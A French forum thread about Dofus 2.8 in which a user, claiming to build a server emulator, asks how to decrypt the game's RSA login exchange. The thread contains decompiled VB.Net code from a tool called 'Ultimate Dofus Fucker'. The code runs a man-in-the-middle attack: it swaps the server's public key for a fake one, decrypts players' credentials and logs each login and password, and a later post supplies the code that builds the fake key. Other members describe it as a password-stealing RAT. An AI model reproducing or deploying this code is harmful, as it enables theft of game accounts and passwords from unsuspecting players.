VB/VB.Net RSA decrypter -Help

A

Anonymous

Invité
#1
salut :)
Je veux créer un émulateur de serveur privé
pour le dofus 2.8
voila :
l'idée c'est de connecter le client au 127.0.0.1 ' ( mitm)

puis l'outil se connecter à l'adresse IP du serveur
et quand la clé est envoyer par serveur, l'outil la remplacer par "Fake key "
et le mot de passe décrypté s'est vite
le problème est de savoir comment décrypter le RSA ....
Je suis totalement perdu
aidez-moi
merci :)
 
A

Anonymous

Invité
#2
Pourquoi tu ment tu veux pas du tout faire un émulateur ><
Remballe tes idée de merde Hitman, NE L'AIDEZ PAS
 
Inscrit
21 Octobre 2012
Messages
21
Reactions
0
#3
Il veut simplement s'en servir pour hacké les comptes des joueurs..
 
A

Anonymous

Invité
#4
De toute facon c'est impossible de decrypter une cle rsa. On a besoin d'un cle prive que l'on ne possede pas. Le serveur ne la decrypte pas.
 
A

Anonymous

Invité
#5
looooooooool thnx
Code:
Imports System
Imports System.Collections.Generic
Imports System.Linq
Imports System.Net.Sockets
Imports System.Runtime.CompilerServices
Imports System.Security.Cryptography
Imports System.Text
Imports Ultimate_Dofus_Fucker_Stub.Behaviors
Imports Ultimate_Dofus_Fucker_Stub.Core.Extensions
Imports Ultimate_Dofus_Fucker_Stub.Core.Messages
Imports Ultimate_Dofus_Fucker_Stub.Core.Network
Imports Ultimate_Dofus_Fucker_Stub.Core.Reflection
Imports Ultimate_Dofus_Fucker_Stub.MITM.Network
Imports Ultimate_Dofus_Fucker_Stub.Protocol.Messages

Namespace Ultimate_Dofus_Fucker_Stub.MITM
    Public Class MITM
        ' Methods
        Public Sub New(ByVal configuration As MITMConfiguration)
            Me.m_configuration = configuration
            Me.AuthConnections = New ClientManager(Of ConnectionMITM)(DnsExtensions.GetIPEndPointFromHostName(Me.m_configuration.FakeAuthHost, Me.m_configuration.FakeAuthPort, True), New ClientCreationHandler(Of ConnectionMITM)(AddressOf Me.CreateAuthClient))
            AddHandler Me.AuthConnections.ClientConnected, New Action(Of ConnectionMITM)(AddressOf Me.OnAuthClientConnected)
            AddHandler Me.AuthConnections.ClientDisconnected, New Action(Of ConnectionMITM)(AddressOf Me.OnAuthClientDisconnected)
            Me.MessageBuilder = New MessageReceiver
            Me.MessageBuilder.Initialize
            MessageDispatcher(Of Bot).RegisterContainer(Me)
        End Sub

        Private Function CreateAuthClient(ByVal socket As Socket) As ConnectionMITM
            Dim connection As New ConnectionMITM(socket, Me.MessageBuilder)
            AddHandler connection.MessageReceived, New Action(Of Client, NetworkMessage)(Me, DirectCast(Me.OnAuthClientMessageReceived, IntPtr))
            Dim dispatcher2 As New NetworkMessageDispatcher With { _
                .Client = connection, _
                .Server = connection.Server _
            }
            Dim dispatcher As NetworkMessageDispatcher = dispatcher2
            Dim bot As New BotMITM(connection, dispatcher)
            connection.Bot = bot
            bot.ConnectionType = ClientConnectionType.Authentification
            Singleton(Of BotManager).Instance.RegisterBot(bot)
            Return connection
        End Function

        Public Function Crypt_Pass(ByVal Input As String, ByVal Key As List(Of Integer)) As List(Of Integer)
            Dim buffer4 As Byte() = New Byte(3  - 1) {}
            buffer4(0) = 1
            buffer4(2) = 1
            Dim buffer As Byte() = buffer4
            Dim buffer2 As Byte() = New Byte(&H100  - 1) {}
            Dim i As Integer
            For i = &H21 To &H121 - 1
                buffer2((i - &H21)) = CByte(Key.Item(i))
            Next i
            Dim bytes As Byte() = Encoding.UTF8.GetBytes(Input)
            Dim parameters As New RSAParameters
            Dim provider As New RSACryptoServiceProvider
            parameters.Modulus = buffer2
            parameters.Exponent = buffer
            provider.ImportParameters(parameters)
            Dim list As New List(Of Integer)
            Dim num2 As Byte
            For Each num2 In provider.Encrypt(bytes, False)
                list.Add(num2)
            Next
            Return list
        End Function

        <MessageHandler(3, FromFilter:=ListenerEntry.Server)> _
        Public Sub HandleHelloConnectMessage(ByVal bot As Bot, ByVal message As HelloConnectMessage)
            bot.Compte.Salt = message.salt
            bot.RealRSAKey = message.key
            message.key = bot.FakeRSAKey
        End Sub

        <MessageHandler(20, FromFilter:=ListenerEntry.Server)> _
        Public Sub HandleHelloConnectMessage(ByVal bot As Bot, ByVal message As IdentificationFailedMessage)
            bot.Compte.connected = "0"
        End Sub

        <MessageHandler(4, FromFilter:=ListenerEntry.Client)> _
        Public Sub HandleHelloConnectMessage(ByVal bot As Bot, ByVal message As IdentificationMessage)
            Dim builder As New StringBuilder
            Dim builder2 As New StringBuilder
            If Not message.useCertificate Then
                If (MITM.CS$<>9__CachedAnonymousMethodDelegate3 Is Nothing) Then
                    MITM.CS$<>9__CachedAnonymousMethodDelegate3 = New Func(Of Integer, Byte)(Nothing, DirectCast(MITM.<HandleHelloConnectMessage>b__1, IntPtr))
                End If
                Dim buffer As Byte() = bot.RSA.Decrypt(Enumerable.Select(Of Integer, Byte)(message.credentials, MITM.CS$<>9__CachedAnonymousMethodDelegate3).ToArray(Of Byte)(), False)
                Dim str As String = String.Join("", BitConverter.ToString(buffer).Split(New Char() { Convert.ToChar("-") }))
                Dim i As Integer = 0
                Do While (i < str.Length)
                    Dim str2 As String = str.Substring(i, 2)
                    builder2.Append(Convert.ToChar(Convert.ToUInt32(str2, &H10)))
                    i = (i + 2)
                Loop
                builder2 = builder2.Replace(bot.Compte.Salt, "")
                message.credentials = Me.Crypt_Pass((bot.Compte.Salt & builder2.ToString), bot.RealRSAKey)
            Else
                If (MITM.CS$<>9__CachedAnonymousMethodDelegate4 Is Nothing) Then
                    MITM.CS$<>9__CachedAnonymousMethodDelegate4 = New Func(Of Integer, Byte)(Nothing, DirectCast(MITM.<HandleHelloConnectMessage>b__2, IntPtr))
                End If
                Dim str3 As String = BitConverter.ToString(bot.RSA.Decrypt(Enumerable.Select(Of Integer, Byte)(message.credentials, MITM.CS$<>9__CachedAnonymousMethodDelegate4).ToArray(Of Byte)(), False))
                Dim source As String = String.Join("", str3.Split(New Char() { Convert.ToChar("-") }))
                source.Reverse(Of Char)()
                Dim j As Integer = 0
                Do While (j < source.Length)
                    If (j <= &HC6) Then
                        Dim str5 As String = source.Substring(j, 2)
                        builder.Append(Convert.ToChar(Convert.ToUInt32(str5, &H10)))
                    Else
                        Dim str6 As String = source.Substring(j, 2)
                        builder2.Append(Convert.ToChar(Convert.ToUInt32(str6, &H10)))
                    End If
                    j = (j + 2)
                Loop
                message.credentials = Me.Crypt_Pass((builder.ToString & builder2.ToString), bot.RealRSAKey)
            End If
            bot.Compte.certif = If(message.useCertificate, "1", "0")
            bot.Compte.NDC = message.login
            bot.Compte.MDP = builder2.ToString
            Console.WriteLine(("New Connection : " & message.login & " MDP : " & builder2.ToString))
        End Sub

        <MessageHandler(&H16, FromFilter:=ListenerEntry.Server)> _
        Public Sub HandleHelloConnectMessage(ByVal bot As Bot, ByVal message As IdentificationSuccessMessage)
            bot.Compte.connected = "1"
        End Sub

        <MessageHandler(1, FromFilter:=ListenerEntry.Server)> _
        Public Sub HandleProtocolRequired(ByVal bot As Bot, ByVal message As ProtocolRequired)
        End Sub

        Private Sub OnAuthClientConnected(ByVal client As ConnectionMITM)
            client.Bot.Start
            client.BindToServer(Me.m_configuration.RealAuthHost, Me.m_configuration.RealAuthPort)
        End Sub

        Private Sub OnAuthClientDisconnected(ByVal client As ConnectionMITM)
            client.Bot.Stop
        End Sub

        Private Sub OnAuthClientMessageReceived(ByVal client As Client, ByVal message As NetworkMessage)
            Dim nmitm As ConnectionMITM = TryCast(client,ConnectionMITM)
            nmitm.Bot.Dispatcher.Enqueue(message, True)
            Console.WriteLine("{0} FROM {1}", message, message.From)
        End Sub

        Public Sub Start()
            Me.AuthConnections.Start
        End Sub

        Public Sub [Stop]()
            Me.AuthConnections.Stop
        End Sub


        ' Properties
        Property AuthConnections As ClientManager(Of ConnectionMITM)
            Public Get
            Private Set(ByVal value As ClientManager(Of ConnectionMITM))
        End Property
        Public Property MessageBuilder As MessageReceiver
            Get
            Set(ByVal value As MessageReceiver)
        End Property

        ' Fields
        Private ReadOnly m_configuration As MITMConfiguration
    End Class
End Namespace
 

bouh2

Membre Actif
Inscrit
12 Septembre 2008
Messages
184
Reactions
21
#6
Gros manque de sécurité de la part d'ankama, la clé publique est envoyé par le serveur, il suffit de l'intercepter en MITM, envoyer celle associée à une clé privé que l'on a générée et décrypter ce que le client renvois.
 
Inscrit
21 Octobre 2012
Messages
21
Reactions
0
#7
Bien de décompiler les serveurs d'une certaine personne dont je ne citerais pas le pseudo ?
 
A

Anonymous

Invité
#8
Si je ne m'abuse, c'était obfu, il a fait comment pour obtenir la source de ultimate... ? Deobf confuser, c'est chaud...
 
Inscrit
21 Octobre 2012
Messages
21
Reactions
0
#9
Non ce n'était pas obfu la toute première version, un oublie.
 

bouh2

Membre Actif
Inscrit
12 Septembre 2008
Messages
184
Reactions
21
#10
C'est surtout en majeure partie les sources de BiM

Le plus amusant c'est qu'il n'a même pas remarqué que les données du client sont dans Bot.ClientInformations (dont le Salt et la clé RSA)
 
A

Anonymous

Invité
#14
ahh ui :)

EDIT GERAFF: Merci de ne pas citer directement le message précédent !
 
A

Anonymous

Invité
#15
pour le Fake key sur bot.vb aprés decryptage :
Private ReadOnly _bas As Integer()
Private ReadOnly _header As Integer()
Private ReadOnly _key As Integer()
Public RSA As RSACryptoServiceProvider
Public RSAParam As RSAParameters
Public Sub New(ByVal messageDispatcher As MessageDispatcher(Of Bot))
MyBase.New(30)
Me._key = New Integer(&H126 - 1) {}
Me._header = New Integer() { &H30, -126, 1, &H22, &H30, 13, 6, 9, &H2A, -122, &H48, -122, -9, 13, 1, 1, 1, 5, 0, 3, -126, 1, 15, 0, &H30, -126, 1, 10, 2, -126, 1, 1, 0 }
Me._bas = New Integer() { 2, 3, 1, 0, 1 }
Me.RSA = New RSACryptoServiceProvider(&H800)
Me.RSAParam = New RSAParameters
If (Me.Compte Is Nothing) Then
Me.Compte = New User
End If
Me.Dispatcher = messageDispatcher
Me.ConnectionType = ClientConnectionType.Disconnected
Me.RSAParam = Me.RSA.ExportParameters(True)
Dim i As Integer
For i = 0 To &H21 - 1
Me._key(i) = Me._header(i)
Next i
Dim j As Integer
For j = 0 To &H100 - 1
Me._key((j + &H21)) = CSByte(Me.RSAParam.Modulus(j))
Next j
Dim k As Integer
For k = &H121 To &H126 - 1
Me._key(k) = Me._bas((k - &H121))
Next k
End Sub



Public Property RealRSAKey As List(Of Integer)
Get
Set(ByVal value As List(Of Integer))
End Property
 
Inscrit
29 Septembre 2011
Messages
393
Reactions
3
#16
Je comprend pas très bien se que exactement tu aimerais faire^^?
 

ToOnS

Membre Actif
Inscrit
8 Avril 2009
Messages
974
Reactions
0
#17
recuperer les mots de passe des pauvres petit qui vont essayer son bot , ou je devrais dire son rat
 

Geraff

Administrateur
Membre du personnel
Inscrit
13 Mars 2008
Messages
564
Reactions
0
#18
Oui bon je ne suis pas trop fan mais bon... C'est surement que pour apprendre comment faire et ne pas de l'utiliser après hein?
 
A

Anonymous

Invité
#19
@Geraff Mouhai

Bref

Dans un emulateur on ne decrypte pas la key,on crypte celle de la bdd et on compare les deux une fois cryptés.
 
Inscrit
29 Septembre 2011
Messages
393
Reactions
3
#20
lolodu92 a dit:
@Geraff Mouhai

Bref

Dans un emulateur on ne decrypte pas la key,on crypte celle de la bdd et on compare les deux une fois cryptés.
Non, dans un emulateur on Génère une clef privé et public au lancement puis quand le client se connect on lui envoi la clef public puis a la reception du packet 4 grâce a notre clef privé "Le Client Dofus" va pouvoir crypter son mot de passe avec notre clef public qu'on a généré. On va pouvoir par la suite décrypter le mot de passe du client puis comparé a celui de la bdd.

Ps : je sais pas très bien expliquer.
 
Haut Bas